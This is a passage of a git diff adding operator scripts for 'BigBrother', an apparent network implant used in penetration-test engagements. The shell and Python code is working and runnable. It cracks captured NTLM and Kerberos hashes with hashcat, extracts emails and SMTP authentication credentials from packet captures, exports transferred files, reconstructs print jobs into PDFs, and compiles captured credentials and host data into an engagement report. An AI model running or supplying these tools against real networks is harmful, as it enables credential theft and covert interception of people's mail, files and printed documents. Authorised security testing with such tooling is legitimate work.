+if $DO_CRACK; then
+ if ! command -v hashcat &>/dev/null; then
+ echo -e "${RED}[-] hashcat not found — install from https://hashcat.net${NC}"
+ exit 1
+ fi
+
+ if [[ ! -f "$WORDLIST" ]]; then
+ echo -e "${RED}[-] Wordlist not found: $WORDLIST${NC}"
+ exit 1
+ fi
+
+ echo -e "${CYAN}[*] Running hashcat...${NC}"
+ echo -e " Wordlist: ${WORDLIST}"
+ echo -e " Rules: ${RULES_FILE}"
+ echo ""
+
+ POTFILE="$OUTPUT_DIR/hashcat.potfile"
+
+ # Crack each hash type
+ for hashfile in "$OUTPUT_DIR"/*.txt; do
+ [[ -f "$hashfile" ]] || continue
+ basename_hash=$(basename "$hashfile")
+
+ # Skip cleartext and already-cracked
+ [[ "$basename_hash" == "cleartext.txt" ]] && continue
+ [[ "$basename_hash" == "cracked_"* ]] && continue
+
+ # Extract hashcat mode from filename
+ mode=$(echo "$basename_hash" | grep -oP '\d{4,5}' || echo "")
+ if [[ -z "$mode" ]]; then
+ continue
+ fi
+
+ count=$(wc -l < "$hashfile")
+ if [[ $count -eq 0 ]]; then
+ continue
+ fi
+
+ echo -e "${YELLOW}[*] Cracking $basename_hash ($count hashes, mode $mode)${NC}"
+
+ # Run hashcat — dictionary + rules
+ hashcat -m "$mode" -a 0 \
+ "$hashfile" "$WORDLIST" \
+ -r "$RULES_FILE" \
+ --potfile-path "$POTFILE" \
+ --outfile "$OUTPUT_DIR/cracked_${basename_hash}" \
+ --outfile-format 2 \
+ -O \
+ 2>/dev/null || true
+
+ cracked=$(wc -l < "$OUTPUT_DIR/cracked_${basename_hash}" 2>/dev/null || echo 0)
+ echo -e " ${GREEN}Cracked: $cracked / $count${NC}"
+ echo ""
+ done
+
+ # ---------------------------------------------------------------------------
+ # Cracking summary
+ # ---------------------------------------------------------------------------
+
+ echo -e "${GREEN}[+] Cracking complete${NC}"
+ echo -e " Potfile: $POTFILE"
+ echo ""
+ echo -e "${CYAN}[*] Cracked credentials:${NC}"
+ for cracked in "$OUTPUT_DIR"/cracked_*.txt; do
+ [[ -f "$cracked" ]] || continue
+ echo -e " ${GREEN}$(basename $cracked):${NC}"
+ head -20 "$cracked" | sed 's/^/ /'
+ done
+else
+ echo -e "${CYAN}[*] Hash files exported to: $OUTPUT_DIR${NC}"
+ echo " Run with --crack to start cracking"
+ echo ""
+ echo " Manual cracking examples:"
+ echo " hashcat -m 5600 $OUTPUT_DIR/ntlmv2_5600.txt /path/to/wordlist.txt -r /path/to/rules"
+ echo " hashcat -m 5500 $OUTPUT_DIR/ntlmv1_5500.txt /path/to/wordlist.txt"
+ echo " hashcat -m 13100 $OUTPUT_DIR/kerberos_tgs_13100.txt /path/to/wordlist.txt"
+fi
diff --git a/scripts/operator/extract_emails.sh b/scripts/operator/extract_emails.sh
new file mode 100755
index 0000000..f835786
--- /dev/null
+++ b/scripts/operator/extract_emails.sh
@@ -0,0 +1,188 @@
+#!/usr/bin/env bash
+# BigBrother Operator Script — Extract Emails from PCAPs
+#
+# Extracts SMTP email messages from network captures. Reconstructs
+# complete emails including headers, body, and attachments.
+#
+# Unencrypted SMTP (port 25/587 without STARTTLS) is still common on
+# internal networks, especially between mail servers and printers/scanners.
+#
+# Usage: ./extract_emails.sh [output_dir]
+#
+# Requires: tshark
+
+set -euo pipefail
+
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+CYAN='\033[0;36m'
+NC='\033[0m'
+
+# ---------------------------------------------------------------------------
+# Arguments
+# ---------------------------------------------------------------------------
+
+PCAP_DIR="${1:-}"
+OUTPUT_DIR="${2:-$(pwd)/extracted-emails-$(date +%Y%m%d-%H%M%S)}"
+
+if [[ -z "$PCAP_DIR" ]]; then
+ echo -e "${RED}Usage: $0 [output_dir]${NC}"
+ exit 1
+fi
+
+if [[ ! -d "$PCAP_DIR" ]]; then
+ echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
+ exit 1
+fi
+
+if ! command -v tshark &>/dev/null; then
+ echo -e "${RED}[-] tshark not found — install with: apt install tshark${NC}"
+ exit 1
+fi
+
+mkdir -p "$OUTPUT_DIR"/{raw,parsed,attachments,summary}
+
+echo -e "${CYAN}[*] BigBrother Email Extraction${NC}"
+echo -e " PCAP dir: ${PCAP_DIR}"
+echo -e " Output: ${OUTPUT_DIR}"
+echo ""
+
+# ---------------------------------------------------------------------------
+# Extract SMTP sessions
+# ---------------------------------------------------------------------------
+
+EMAIL_COUNT=0
+ATTACHMENT_COUNT=0
+
+for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
+ [[ -f "$pcap" ]] || continue
+ basename_pcap=$(basename "$pcap")
+ echo -e "${YELLOW}[*] Scanning: ${basename_pcap}${NC}"
+
+ # Check for SMTP traffic
+ has_smtp=$(tshark -r "$pcap" -Y "smtp || tcp.port == 25 || tcp.port == 587" -c 1 2>/dev/null | wc -l)
+ if [[ "$has_smtp" -eq 0 ]]; then
+ echo -e " (no SMTP traffic)"
+ continue
+ fi
+
+ # Export IMF (Internet Message Format) objects
+ imf_dir="$OUTPUT_DIR/raw/${basename_pcap%.pcap*}"
+ mkdir -p "$imf_dir"
+ tshark -r "$pcap" --export-objects "imf,$imf_dir" 2>/dev/null || true
+
+ imf_count=$(find "$imf_dir" -type f 2>/dev/null | wc -l)
+ if [[ $imf_count -gt 0 ]]; then
+ echo -e " ${GREEN}Found $imf_count email messages${NC}"
+ EMAIL_COUNT=$((EMAIL_COUNT + imf_count))
+ fi
+
+ # Extract SMTP streams for raw analysis
+ streams=$(tshark -r "$pcap" -Y "tcp.dstport == 25 && tcp.len > 0" \
+ -T fields -e tcp.stream 2>/dev/null | sort -un)
+
+ for stream_id in $streams; do
+ stream_file="$OUTPUT_DIR/raw/smtp_stream_${stream_id}.txt"
+
+ # Follow the TCP stream
+ tshark -r "$pcap" -q -z "follow,tcp,ascii,${stream_id}" \
+ > "$stream_file" 2>/dev/null || true
+
+ if [[ ! -s "$stream_file" ]]; then
+ rm -f "$stream_file"
+ continue
+ fi
+
+ # Extract email metadata
+ from=$(grep -i "^MAIL FROM:" "$stream_file" 2>/dev/null | head -1 | sed 's/MAIL FROM://i' | tr -d '<> ' || echo "unknown")
+ to=$(grep -i "^RCPT TO:" "$stream_file" 2>/dev/null | head -1 | sed 's/RCPT TO://i' | tr -d '<> ' || echo "unknown")
+ subject=$(grep -i "^Subject:" "$stream_file" 2>/dev/null | head -1 | sed 's/Subject: //i' || echo "(no subject)")
+
+ if [[ -n "$from" || -n "$to" ]]; then
+ # Write summary
+ {
+ echo "Stream: $stream_id"
+ echo "From: $from"
+ echo "To: $to"
+ echo "Subject: $subject"
+ echo "File: $stream_file"
+ echo "---"
+ } >> "$OUTPUT_DIR/summary/email_index.txt"
+ fi
+ done
+
+ # Also check port 587 (submission)
+ streams_587=$(tshark -r "$pcap" -Y "tcp.dstport == 587 && tcp.len > 0" \
+ -T fields -e tcp.stream 2>/dev/null | sort -un)
+
+ for stream_id in $streams_587; do
+ stream_file="$OUTPUT_DIR/raw/smtp_587_stream_${stream_id}.txt"
+ tshark -r "$pcap" -q -z "follow,tcp,ascii,${stream_id}" \
+ > "$stream_file" 2>/dev/null || true
+
+ [[ -s "$stream_file" ]] || rm -f "$stream_file"
+ done
+
+ echo ""
+done
+
+# ---------------------------------------------------------------------------
+# Parse extracted emails for attachments
+# ---------------------------------------------------------------------------
+
+echo -e "${YELLOW}[*] Scanning for attachments...${NC}"
+
+for email_file in "$OUTPUT_DIR"/raw/*/*.eml "$OUTPUT_DIR"/raw/*/email_* 2>/dev/null; do
+ [[ -f "$email_file" ]] || continue
+
+ # Look for MIME boundaries indicating attachments
+ if grep -qi "Content-Disposition: attachment\|Content-Transfer-Encoding: base64" "$email_file" 2>/dev/null; then
+ ATTACHMENT_COUNT=$((ATTACHMENT_COUNT + 1))
+ filename=$(grep -i "filename=" "$email_file" 2>/dev/null | head -1 | sed 's/.*filename="\?\([^"]*\)"\?.*/\1/' || echo "unknown")
+ echo -e " Attachment found: ${filename} in $(basename $email_file)"
+ fi
+done
+
+# ---------------------------------------------------------------------------
+# Extract SMTP auth credentials
+# ---------------------------------------------------------------------------
+
+echo -e "${YELLOW}[*] Scanning for SMTP credentials...${NC}"
+
+cred_file="$OUTPUT_DIR/summary/smtp_credentials.txt"
+for stream_file in "$OUTPUT_DIR"/raw/smtp_*.txt; do
+ [[ -f "$stream_file" ]] || continue
+
+ # Look for AUTH LOGIN or AUTH PLAIN
+ if grep -q "AUTH LOGIN\|AUTH PLAIN" "$stream_file" 2>/dev/null; then
+ echo -e " ${GREEN}SMTP auth found in $(basename $stream_file)${NC}"
+ grep -A 3 "AUTH" "$stream_file" >> "$cred_file" 2>/dev/null || true
+ echo "---" >> "$cred_file"
+ fi
+done
+
+# ---------------------------------------------------------------------------
+# Summary
+# ---------------------------------------------------------------------------
+
+echo ""
+echo -e "${GREEN}[+] Email extraction complete${NC}"
+echo -e " Emails found: ${EMAIL_COUNT}"
+echo -e " Attachments found: ${ATTACHMENT_COUNT}"
+echo ""
+
+if [[ -f "$OUTPUT_DIR/summary/email_index.txt" ]]; then
+ echo -e "${CYAN}[*] Email index:${NC}"
+ head -30 "$OUTPUT_DIR/summary/email_index.txt" | sed 's/^/ /'
+ total_indexed=$(grep -c "^Stream:" "$OUTPUT_DIR/summary/email_index.txt" 2>/dev/null || echo 0)
+ if [[ $total_indexed -gt 5 ]]; then
+ echo -e " ... ($total_indexed total — see $OUTPUT_DIR/summary/email_index.txt)"
+ fi
+fi
+
+if [[ -f "$cred_file" ]]; then
+ echo ""
+ echo -e "${GREEN}[+] SMTP credentials saved to: $cred_file${NC}"
+ echo -e " (base64 encoded — decode with: echo '' | base64 -d)"
+fi
diff --git a/scripts/operator/extract_files.sh b/scripts/operator/extract_files.sh
new file mode 100755
index 0000000..a8905e1
--- /dev/null
+++ b/scripts/operator/extract_files.sh
@@ -0,0 +1,134 @@
+#!/usr/bin/env bash
+# BigBrother Operator Script — Extract Files from PCAPs
+#
+# Uses tshark to extract transferred files from PCAP captures.
+# Supports HTTP objects, SMB file transfers, FTP data, and TFTP.
+#
+# Usage: ./extract_files.sh [output_dir]
+#
+# Examples:
+# ./extract_files.sh ./bb-pull-20240115/pcaps
+# ./extract_files.sh /opt/cases/acme/pcaps /opt/cases/acme/extracted
+#
+# Requires: tshark (Wireshark CLI)
+
+set -euo pipefail
+
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+CYAN='\033[0;36m'
+NC='\033[0m'
+
+# ---------------------------------------------------------------------------
+# Arguments
+# ---------------------------------------------------------------------------
+
+PCAP_DIR="${1:-}"
+OUTPUT_DIR="${2:-$(pwd)/extracted-files-$(date +%Y%m%d-%H%M%S)}"
+
+if [[ -z "$PCAP_DIR" ]]; then
+ echo -e "${RED}Usage: $0 [output_dir]${NC}"
+ exit 1
+fi
+
+if [[ ! -d "$PCAP_DIR" ]]; then
+ echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
+ exit 1
+fi
+
+# Check dependencies
+if ! command -v tshark &>/dev/null; then
+ echo -e "${RED}[-] tshark not found — install with: apt install tshark${NC}"
+ exit 1
+fi
+
+# Create output structure
+mkdir -p "$OUTPUT_DIR"/{http,smb,ftp,tftp,dicom,imf}
+
+echo -e "${CYAN}[*] BigBrother File Extraction${NC}"
+echo -e " PCAP dir: ${PCAP_DIR}"
+echo -e " Output: ${OUTPUT_DIR}"
+echo ""
+
+# ---------------------------------------------------------------------------
+# Extract files from each PCAP
+# ---------------------------------------------------------------------------
+
+PCAP_COUNT=0
+HTTP_COUNT=0
+SMB_COUNT=0
+FTP_COUNT=0
+
+for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
+ [[ -f "$pcap" ]] || continue
+ PCAP_COUNT=$((PCAP_COUNT + 1))
+ basename_pcap=$(basename "$pcap")
+ echo -e "${YELLOW}[*] Processing: ${basename_pcap}${NC}"
+
+ # HTTP objects (downloads, uploads, pages)
+ echo -e " Extracting HTTP objects..."
+ http_dir="$OUTPUT_DIR/http/${basename_pcap%.pcap*}"
+ mkdir -p "$http_dir"
+ tshark -r "$pcap" --export-objects "http,$http_dir" 2>/dev/null || true
+ count=$(find "$http_dir" -type f 2>/dev/null | wc -l)
+ HTTP_COUNT=$((HTTP_COUNT + count))
+ echo -e " ${GREEN}Found $count HTTP objects${NC}"
+
+ # SMB file transfers
+ echo -e " Extracting SMB objects..."
+ smb_dir="$OUTPUT_DIR/smb/${basename_pcap%.pcap*}"
+ mkdir -p "$smb_dir"
+ tshark -r "$pcap" --export-objects "smb,$smb_dir" 2>/dev/null || true
+ count=$(find "$smb_dir" -type f 2>/dev/null | wc -l)
+ SMB_COUNT=$((SMB_COUNT + count))
+ echo -e " ${GREEN}Found $count SMB objects${NC}"
+
+ # FTP data streams
+ echo -e " Extracting FTP data..."
+ ftp_dir="$OUTPUT_DIR/ftp/${basename_pcap%.pcap*}"
+ mkdir -p "$ftp_dir"
+ tshark -r "$pcap" --export-objects "ftp-data,$ftp_dir" 2>/dev/null || true
+ count=$(find "$ftp_dir" -type f 2>/dev/null | wc -l)
+ FTP_COUNT=$((FTP_COUNT + count))
+ echo -e " ${GREEN}Found $count FTP objects${NC}"
+
+ # TFTP transfers
+ echo -e " Extracting TFTP data..."
+ tftp_dir="$OUTPUT_DIR/tftp/${basename_pcap%.pcap*}"
+ mkdir -p "$tftp_dir"
+ tshark -r "$pcap" --export-objects "tftp,$tftp_dir" 2>/dev/null || true
+
+ # IMF (email) objects
+ echo -e " Extracting email objects..."
+ imf_dir="$OUTPUT_DIR/imf/${basename_pcap%.pcap*}"
+ mkdir -p "$imf_dir"
+ tshark -r "$pcap" --export-objects "imf,$imf_dir" 2>/dev/null || true
+
+ echo ""
+done
+
+# ---------------------------------------------------------------------------
+# Summary
+# ---------------------------------------------------------------------------
+
+if [[ $PCAP_COUNT -eq 0 ]]; then
+ echo -e "${RED}[-] No PCAP files found in $PCAP_DIR${NC}"
+ exit 1
+fi
+
+TOTAL=$(find "$OUTPUT_DIR" -type f ! -name "*.md" 2>/dev/null | wc -l)
+
+echo -e "${GREEN}[+] Extraction complete${NC}"
+echo -e " PCAPs processed: ${PCAP_COUNT}"
+echo -e " Total files: ${TOTAL}"
+echo -e " HTTP objects: ${HTTP_COUNT}"
+echo -e " SMB objects: ${SMB_COUNT}"
+echo -e " FTP objects: ${FTP_COUNT}"
+echo ""
+du -sh "$OUTPUT_DIR"/* 2>/dev/null | sed 's/^/ /'
+echo ""
+echo -e "${CYAN}[*] Review extracted files for sensitive data:${NC}"
+echo " - Documents: find $OUTPUT_DIR -name '*.doc*' -o -name '*.pdf' -o -name '*.xls*'"
+echo " - Config: find $OUTPUT_DIR -name '*.conf' -o -name '*.ini' -o -name '*.xml'"
+echo " - Scripts: find $OUTPUT_DIR -name '*.ps1' -o -name '*.bat' -o -name '*.sh'"
diff --git a/scripts/operator/extract_print_jobs.sh b/scripts/operator/extract_print_jobs.sh
new file mode 100755
index 0000000..3063418
--- /dev/null
+++ b/scripts/operator/extract_print_jobs.sh
@@ -0,0 +1,152 @@
+#!/usr/bin/env bash
+# BigBrother Operator Script — Extract Print Jobs from PCAPs
+#
+# Reconstructs print jobs from TCP/9100 (JetDirect/RAW) traffic captured
+# in PCAPs. Converts PCL/PostScript to PDF using Ghostscript.
+#
+# Print traffic is often unencrypted and contains sensitive documents:
+# HR letters, financial reports, legal docs, network diagrams, etc.
+#
+# Usage: ./extract_print_jobs.sh [output_dir]
+#
+# Requires: tshark, ghostscript (gs)
+
+set -euo pipefail
+
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+CYAN='\033[0;36m'
+NC='\033[0m'
+
+# ---------------------------------------------------------------------------
+# Arguments
+# ---------------------------------------------------------------------------
+
+PCAP_DIR="${1:-}"
+OUTPUT_DIR="${2:-$(pwd)/print-jobs-$(date +%Y%m%d-%H%M%S)}"
+
+if [[ -z "$PCAP_DIR" ]]; then
+ echo -e "${RED}Usage: $0 [output_dir]${NC}"
+ exit 1
+fi
+
+if [[ ! -d "$PCAP_DIR" ]]; then
+ echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
+ exit 1
+fi
+
+# Check dependencies
+for tool in tshark gs; do
+ if ! command -v "$tool" &>/dev/null; then
+ echo -e "${RED}[-] $tool not found${NC}"
+ case "$tool" in
+ tshark) echo " Install with: apt install tshark" ;;
+ gs) echo " Install with: apt install ghostscript" ;;
+ esac
+ exit 1
+ fi
+done
+
+mkdir -p "$OUTPUT_DIR"/{raw,pdf,metadata}
+
+echo -e "${CYAN}[*] BigBrother Print Job Extraction${NC}"
+echo -e " PCAP dir: ${PCAP_DIR}"
+echo -e " Output: ${OUTPUT_DIR}"
+echo ""
+
+# ---------------------------------------------------------------------------
+# Extract print streams from PCAPs
+# ---------------------------------------------------------------------------
+
+JOB_COUNT=0
+PDF_COUNT=0
+
+for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
+ [[ -f "$pcap" ]] || continue
+ basename_pcap=$(basename "$pcap")
+ echo -e "${YELLOW}[*] Scanning: ${basename_pcap}${NC}"
+
+ # Check if this PCAP has any port 9100 traffic
+ has_print=$(tshark -r "$pcap" -Y "tcp.port == 9100" -c 1 2>/dev/null | wc -l)
+ if [[ "$has_print" -eq 0 ]]; then
+ echo -e " (no print traffic)"
+ continue
+ fi
+
+ # Extract TCP streams on port 9100
+ # Get unique stream indices for print traffic
+ streams=$(tshark -r "$pcap" -Y "tcp.dstport == 9100 && tcp.len > 0" \
+ -T fields -e tcp.stream 2>/dev/null | sort -un)
+
+ for stream_id in $streams; do
+ JOB_COUNT=$((JOB_COUNT + 1))
+ raw_file="$OUTPUT_DIR/raw/job_${JOB_COUNT}_stream${stream_id}.raw"
+ pdf_file="$OUTPUT_DIR/pdf/job_${JOB_COUNT}_stream${stream_id}.pdf"
+ meta_file="$OUTPUT_DIR/metadata/job_${JOB_COUNT}.txt"
+
+ # Extract the raw print data from the TCP stream
+ tshark -r "$pcap" -q -z "follow,tcp,raw,${stream_id}" 2>/dev/null | \
+ grep -E '^[0-9a-fA-F]+$' | xxd -r -p > "$raw_file" 2>/dev/null || true
+
+ if [[ ! -s "$raw_file" ]]; then
+ rm -f "$raw_file"
+ JOB_COUNT=$((JOB_COUNT - 1))
+ continue
+ fi
+
+ file_size=$(stat -c %s "$raw_file" 2>/dev/null || echo 0)
+ echo -e " Stream $stream_id: ${file_size} bytes"
+
+ # Record metadata (source/dest IPs, timestamps)
+ tshark -r "$pcap" -Y "tcp.stream == ${stream_id}" -c 1 \
+ -T fields -e ip.src -e ip.dst -e frame.time 2>/dev/null > "$meta_file" || true
+ echo "Raw file: $raw_file" >> "$meta_file"
+ echo "Size: $file_size bytes" >> "$meta_file"
+
+ # Detect format and convert to PDF
+ file_magic=$(head -c 20 "$raw_file" | cat -v 2>/dev/null || echo "")
+
+ if echo "$file_magic" | grep -q "%!PS\|%PDF\|^-E"; then
+ # PostScript or PDF — convert with Ghostscript
+ gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$pdf_file" \
+ "$raw_file" 2>/dev/null && {
+ PDF_COUNT=$((PDF_COUNT + 1))
+ echo -e " ${GREEN}Converted to PDF: $(basename $pdf_file)${NC}"
+ } || {
+ echo -e " ${RED}Ghostscript conversion failed${NC}"
+ }
+ elif echo "$file_magic" | grep -qi "^.E.*HP\|PCL\|PJL"; then
+ # PCL/PJL — try Ghostscript PCL interpreter
+ gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$pdf_file" \
+ "$raw_file" 2>/dev/null && {
+ PDF_COUNT=$((PDF_COUNT + 1))
+ echo -e " ${GREEN}Converted PCL to PDF: $(basename $pdf_file)${NC}"
+ } || {
+ echo -e " ${YELLOW}PCL conversion failed (raw data preserved)${NC}"
+ }
+ else
+ echo -e " ${YELLOW}Unknown format — raw data preserved${NC}"
+ echo "Format: unknown (magic: $(head -c 10 "$raw_file" | xxd -p 2>/dev/null))" >> "$meta_file"
+ fi
+ done
+done
+
+# ---------------------------------------------------------------------------
+# Summary
+# ---------------------------------------------------------------------------
+
+echo ""
+echo -e "${GREEN}[+] Print job extraction complete${NC}"
+echo -e " Print jobs found: ${JOB_COUNT}"
+echo -e " Converted to PDF: ${PDF_COUNT}"
+echo ""
+
+if [[ $JOB_COUNT -gt 0 ]]; then
+ echo -e "${CYAN}[*] Output:${NC}"
+ echo " Raw data: $OUTPUT_DIR/raw/"
+ echo " PDFs: $OUTPUT_DIR/pdf/"
+ echo " Metadata: $OUTPUT_DIR/metadata/"
+ echo ""
+ ls -lhS "$OUTPUT_DIR/pdf/" 2>/dev/null | tail -20 | sed 's/^/ /'
+fi
diff --git a/scripts/operator/generate_report.py b/scripts/operator/generate_report.py
new file mode 100755
index 0000000..1b4f908
--- /dev/null
+++ b/scripts/operator/generate_report.py
@@ -0,0 +1,509 @@
+#!/usr/bin/env python3
+"""BigBrother Operator Script — Generate Engagement Report.
+
+Pulls data from SQLite databases synced from the implant and generates
+a structured engagement report in both Markdown and HTML formats.
+
+Sections:
+ 1. Executive Summary
+ 2. Network Topology & Host Inventory
+ 3. Captured Credentials
+ 4. DNS Intelligence
+ 5. Traffic Analysis
+ 6. Timeline of Events
+ 7. Recommendations
+
+Usage:
+ python3 generate_report.py [--output ] [--title ]
+
+Examples:
+ python3 generate_report.py ./bb-pull-20240115
+ python3 generate_report.py ./bb-pull-20240115 --title "ACME Corp Assessment"
+"""
+
+import argparse
+import json
+import os
+import sqlite3
+import sys
+import time
+from collections import Counter, defaultdict
+from datetime import datetime, timezone
+from pathlib import Path
+
+
+# ---------------------------------------------------------------------------
+# Database helpers
+# ---------------------------------------------------------------------------
+
+def connect_db(db_path):
+ """Connect to a SQLite database if it exists."""
+ if not os.path.isfile(db_path):
+ return None
+ try:
+ conn = sqlite3.connect(db_path)
+ conn.row_factory = sqlite3.Row
+ return conn
+ except Exception:
+ return None
+
+
+def safe_query(conn, sql, params=None):
+ """Execute a query, returning empty list on error."""
+ if conn is None:
+ return []
+ try:
+ cursor = conn.execute(sql, params or ())
+ return cursor.fetchall()
+ except Exception:
+ return []
+
+
+# ---------------------------------------------------------------------------
+# Data collection
+# ---------------------------------------------------------------------------
+
+def collect_credentials(data_dir):
+ """Collect credentials from credential database and Responder logs."""
+ creds = []
+
+ # From credential DB
+ conn = connect_db(os.path.join(data_dir, "databases", "credentials.db"))
+ if conn:
+ rows = safe_query(conn, """
+ SELECT timestamp, source_ip, target_ip, target_service,
+ username, domain, credential_type, hashcat_mode
+ FROM credentials
+ ORDER BY timestamp
+ """)
+ for r in rows:
+ creds.append({
+ "timestamp": r["timestamp"],
+ "source_ip": r["source_ip"] or "",
+ "target_ip": r["target_ip"] or "",
+ "service": r["target_service"] or "",
+ "username": r["username"] or "",
+ "domain": r["domain"] or "",
+ "type": r["credential_type"] or "",
+ "hashcat_mode": r["hashcat_mode"],
+ })
+ conn.close()
+
+ return creds
+
+
+def collect_hosts(data_dir):
+ """Collect host inventory from state database."""
+ hosts = []
+ conn = connect_db(os.path.join(data_dir, "databases", "state.db"))
+ if conn:
+ rows = safe_query(conn, """
+ SELECT key, value FROM kv_store
+ WHERE module = 'host_discovery'
+ """)
+ for r in rows:
+ try:
+ host_data = json.loads(r["value"])
+ if isinstance(host_data, dict):
+ hosts.append(host_data)
+ except (json.JSONDecodeError, TypeError):
+ pass
+ conn.close()
+
+ # Also check topology DB
+ conn = connect_db(os.path.join(data_dir, "databases", "topology.db"))
+ if conn:
+ rows = safe_query(conn, """
+ SELECT ip, mac, hostname, os, vendor, first_seen, last_seen
+ FROM hosts
+ ORDER BY ip
+ """)
+ for r in rows:
+ hosts.append({
+ "ip": r["ip"],
+ "mac": r["mac"] or "",
+ "hostname": r["hostname"] or "",
+ "os": r["os"] or "",
+ "vendor": r["vendor"] or "",
+ "first_seen": r["first_seen"],
+ "last_seen": r["last_seen"],
+ })
+ conn.close()
+
+ return hosts
+
+
+def collect_dns_stats(data_dir):
+ """Collect DNS query statistics."""
+ stats = {"total_queries": 0, "top_domains": [], "top_queriers": [], "doh_count": 0}
+
+ conn = connect_db(os.path.join(data_dir, "databases", "dns_queries.db"))
+ if not conn:
+ return stats
+
+ # Total queries
+ rows = safe_query(conn, "SELECT COUNT(*) as cnt FROM dns_queries")
+ stats["total_queries"] = rows[0]["cnt"] if rows else 0
+
+ # DoH detections
+ rows = safe_query(conn, "SELECT COUNT(*) as cnt FROM dns_queries WHERE is_doh = 1")
+ stats["doh_count"] = rows[0]["cnt"] if rows else 0
+
+ # Top queried domains
+ rows = safe_query(conn, """
+ SELECT domain, COUNT(*) as cnt
+ FROM dns_queries WHERE is_doh = 0
+ GROUP BY domain ORDER BY cnt DESC LIMIT 20
+ """)
+ stats["top_domains"] = [(r["domain"], r["cnt"]) for r in rows]
+
+ # Top querier IPs
+ rows = safe_query(conn, """
+ SELECT source_ip, COUNT(*) as cnt
+ FROM dns_queries WHERE is_doh = 0
+ GROUP BY source_ip ORDER BY cnt DESC LIMIT 15
+ """)
+ stats["top_queriers"] = [(r["source_ip"], r["cnt"]) for r in rows]
+
+ conn.close()
+ return stats
+
+
+def collect_module_status(data_dir):
+ """Collect module runtime status."""
+ modules = {}
+ conn = connect_db(os.path.join(data_dir, "databases", "state.db"))
+ if conn:
+ rows = safe_query(conn, """
+ SELECT module, status, started, updated
+ FROM module_status
+ """)
+ for r in rows:
+ modules[r["module"]] = {
+ "status": r["status"],
+ "started": r["started"],
+ "updated": r["updated"],
+ }
+ conn.close()
+ return modules
+
+
+# ---------------------------------------------------------------------------
+# Report generation
+# ---------------------------------------------------------------------------
+
+def generate_markdown(data_dir, title, creds, hosts, dns_stats, modules):
+ """Generate Markdown report."""
+ now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M UTC")
+ lines = []
+
+ def add(text=""):
+ lines.append(text)
+
+ # Header
+ add(f"# {title}")
+ add(f"\n**Generated:** {now}")
+ add(f"**Data Source:** `{os.path.abspath(data_dir)}`\n")
+ add("---\n")
+
+ # Executive Summary
+ add("## 1. Executive Summary\n")
+ add(f"- **Hosts Discovered:** {len(hosts)}")
+ add(f"- **Credentials Captured:** {len(creds)}")
+
+ cred_types = Counter(c["type"] for c in creds)
+ for ctype, count in cred_types.most_common():
+ add(f" - {ctype}: {count}")
+
+ unique_users = len(set(c["username"] for c in creds if c["username"]))
+ add(f"- **Unique Users:** {unique_users}")
+ add(f"- **DNS Queries Logged:** {dns_stats['total_queries']:,}")
+ add(f"- **DoH Blind Spots:** {dns_stats['doh_count']}")
+ add(f"- **Modules Active:** {sum(1 for m in modules.values() if m['status'] == 'running')}")
+ add("")
+
+ # Host Inventory
+ add("## 2. Network Topology & Host Inventory\n")
+ if hosts:
+ add("| IP | MAC | Hostname | OS | Vendor |")
+ add("|---|---|---|---|---|")
+ for h in hosts[:100]: # Cap at 100 for readability
+ add(f"| {h.get('ip', '')} | {h.get('mac', '')} | {h.get('hostname', '')} "
+ f"| {h.get('os', '')} | {h.get('vendor', '')} |")
+ if len(hosts) > 100:
+ add(f"\n*({len(hosts)} total hosts — showing first 100)*\n")
+ else:
+ add("*No host data available.*\n")
+
+ # Credentials
+ add("\n## 3. Captured Credentials\n")
+ if creds:
+ add("| Time | User | Domain | Service | Type |")
+ add("|---|---|---|---|---|")
+ for c in creds[:50]:
+ ts = ""
+ if c.get("timestamp"):
+ try:
+ ts = datetime.fromtimestamp(c["timestamp"], tz=timezone.utc).strftime("%Y-%m-%d %H:%M")
+ except Exception:
+ pass
+ add(f"| {ts} | {c['username']} | {c['domain']} | {c['service']} | {c['type']} |")
+ if len(creds) > 50:
+ add(f"\n*({len(creds)} total credentials — showing first 50)*\n")
+
+ add("\n### Credential Summary by Type\n")
+ for ctype, count in cred_types.most_common():
+ add(f"- **{ctype}**: {count}")
+
+ add("\n### Unique Users by Service\n")
+ service_users = defaultdict(set)
+ for c in creds:
+ if c["username"]:
+ service_users[c["service"]].add(c["username"])
+ for svc, users in sorted(service_users.items()):
+ add(f"- **{svc}**: {', '.join(sorted(users)[:10])}"
+ + (f" (+{len(users)-10} more)" if len(users) > 10 else ""))
+ else:
+ add("*No credentials captured.*\n")
+
+ # DNS Intelligence
+ add("\n## 4. DNS Intelligence\n")
+ add(f"- **Total Queries:** {dns_stats['total_queries']:,}")
+ add(f"- **DoH Detections (blind spots):** {dns_stats['doh_count']}\n")
+
+ if dns_stats["top_domains"]:
+ add("### Top Queried Domains\n")
+ add("| Domain | Queries |")
+ add("|---|---|")
+ for domain, count in dns_stats["top_domains"]:
+ add(f"| {domain} | {count:,} |")
+
+ if dns_stats["top_queriers"]:
+ add("\n### Top DNS Clients\n")
+ add("| IP | Queries |")
+ add("|---|---|")
+ for ip, count in dns_stats["top_queriers"]:
+ add(f"| {ip} | {count:,} |")
+
+ # Module Status
+ add("\n## 5. Module Status\n")
+ if modules:
+ add("| Module | Status | Started |")
+ add("|---|---|---|")
+ for name, info in sorted(modules.items()):
+ started = ""
+ if info.get("started"):
+ try:
+ started = datetime.fromtimestamp(
+ info["started"], tz=timezone.utc
+ ).strftime("%Y-%m-%d %H:%M")
+ except Exception:
+ pass
+ add(f"| {name} | {info['status']} | {started} |")
+ else:
+ add("*No module status data available.*\n")
+
+ # Recommendations
+ add("\n## 6. Recommendations\n")
+ add("1. **Credential Analysis**: Run `crack_hashes.sh` against captured NTLMv2 hashes")
+ add("2. **File Extraction**: Run `extract_files.sh` on PCAPs for document recovery")
